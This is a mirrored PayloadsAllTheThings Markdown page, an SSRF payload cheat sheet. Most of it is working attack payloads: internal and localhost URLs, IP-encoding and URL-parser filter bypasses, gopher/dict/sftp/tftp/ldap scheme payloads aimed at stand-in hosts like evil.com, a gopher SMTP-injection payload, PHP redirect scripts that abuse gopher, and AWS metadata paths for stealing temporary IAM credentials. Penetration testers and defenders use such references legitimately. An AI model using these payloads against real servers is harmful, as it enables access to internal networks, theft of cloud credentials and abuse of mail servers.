mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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233 lines
6.5 KiB
Markdown
233 lines
6.5 KiB
Markdown
# Server-Side Request Forgery
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Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.
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## Exploit with localhost
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Basic SSRF v1
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```
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://0.0.0.0:80
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http://0.0.0.0:443
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http://0.0.0.0:22
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```
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Basic SSRF v2
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```
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http://localhost:80
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http://localhost:443
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http://localhost:22
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```
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Advanced exploit using a redirection
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```
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1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
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2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
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vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
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```
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Advanced exploit using type=url
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```
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Change "type=file" to "type=url"
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Paste URL in text field and hit enter
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Using this vulnerability users can upload images from any image URL = trigger an SSRF
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```
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## Bypassing filters
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Bypass using HTTPS
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```
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https://127.0.0.1/
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https://localhost/
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```
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Bypass localhost with [::]
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```
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:22/ SSH
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http://[::]:3128/ Squid
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```
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```
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http://0000::1:80/
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http://0000::1:25/ SMTP
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http://0000::1:22/ SSH
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http://0000::1:3128/ Squid
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```
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Bypass localhost with a domain redirecting to locahost
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```
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http://localtest.me
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http://n-pn.info
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```
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Bypass localhost with CIDR : 127.x.x.x
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```
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it's a /8
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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```
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Bypass using a decimal ip location
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```
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http://0177.0.0.1/
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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```
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Bypass using malformed urls
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```
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localhost:+11211aaa
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localhost:00011211aaaa
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```
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Bypass using rare address
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```
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http://0/
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```
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Bypass using tricks combination
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```
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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urllib2 : 1.1.1.1
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requests + browsers : 2.2.2.2
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urllib : 3.3.3.3
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```
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Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow)
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```
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http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
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List:
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① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
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```
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## SSRF via URL Scheme
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Dict://
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The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
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```
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dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
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ssrf.php?url=dict://attacker:11111/
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```
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Sftp://
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```
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ssrf.php?url=sftp://evil.com:11111/
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```
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Tftp://
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```
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ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
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```
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Ldap://
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```
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ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
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```
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Gopher://
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```
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ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
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will make a request like
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HELO localhost
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MAIL FROM:<hacker@site.com>
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RCPT TO:<victim@site.com>
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DATA
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From: [Hacker] <hacker@site.com>
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To: <victime@site.com>
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Date: Tue, 15 Sep 2017 17:20:26 -0400
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Subject: Ah Ah AH
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You didn't say the magic word !
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.
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QUIT
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```
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Gopher:// SMTP - Back connect to 1337
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```php
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Content of evil.com/redirect.php:
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<?php
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header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
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?>
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Now query it.
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https://example.com/?q=http://evil.com/redirect.php.
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```
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Gopher:// SMTP - send a mail
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```php
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Content of evil.com/redirect.php:
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<?php
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$commands = array(
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'HELO victim.com',
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'MAIL FROM: <admin@victim.com>',
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'RCPT To: <sxcurity@oou.us>',
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'DATA',
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'Subject: @sxcurity!',
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'Corben was here, woot woot!',
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'.'
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);
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$payload = implode('%0A', $commands);
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header('Location: gopher://0:25/_'.$payload);
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?>
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```
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## SSRF on AWS Bucket
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Interesting path to look for at http://169.254.169.254
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```
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Always here : /latest/meta-data/{hostname,public-ipv4,...}
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User data (startup script for auto-scaling) : /latest/user-data
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Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
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```
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DNS record
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```
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http://169.254.169.254
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http://metadata.nicob.net/
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http://169.254.169.254.xip.io/
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http://1ynrnhl.xip.io/
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http://www.owasp.org.1ynrnhl.xip.io/
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```
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HTTP redirect
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```
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Static:http://nicob.net/redir6a
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Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
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```
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Alternate IP encoding
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```
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http://425.510.425.510/ Dotted decimal with overflow
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http://2852039166/ Dotless decimal
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http://7147006462/ Dotless decimal with overflow
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http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
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http://0xA9FEA9FE/ Dotless hexadecimal
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http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
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http://0251.0376.0251.0376/ Dotted octal
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http://0251.00376.000251.0000376/ Dotted octal with padding
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```
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## Thanks to
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* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
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* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
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* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
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* [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk)
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* [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
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* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
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* [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/)
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* [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
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* [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow)
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* [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/)
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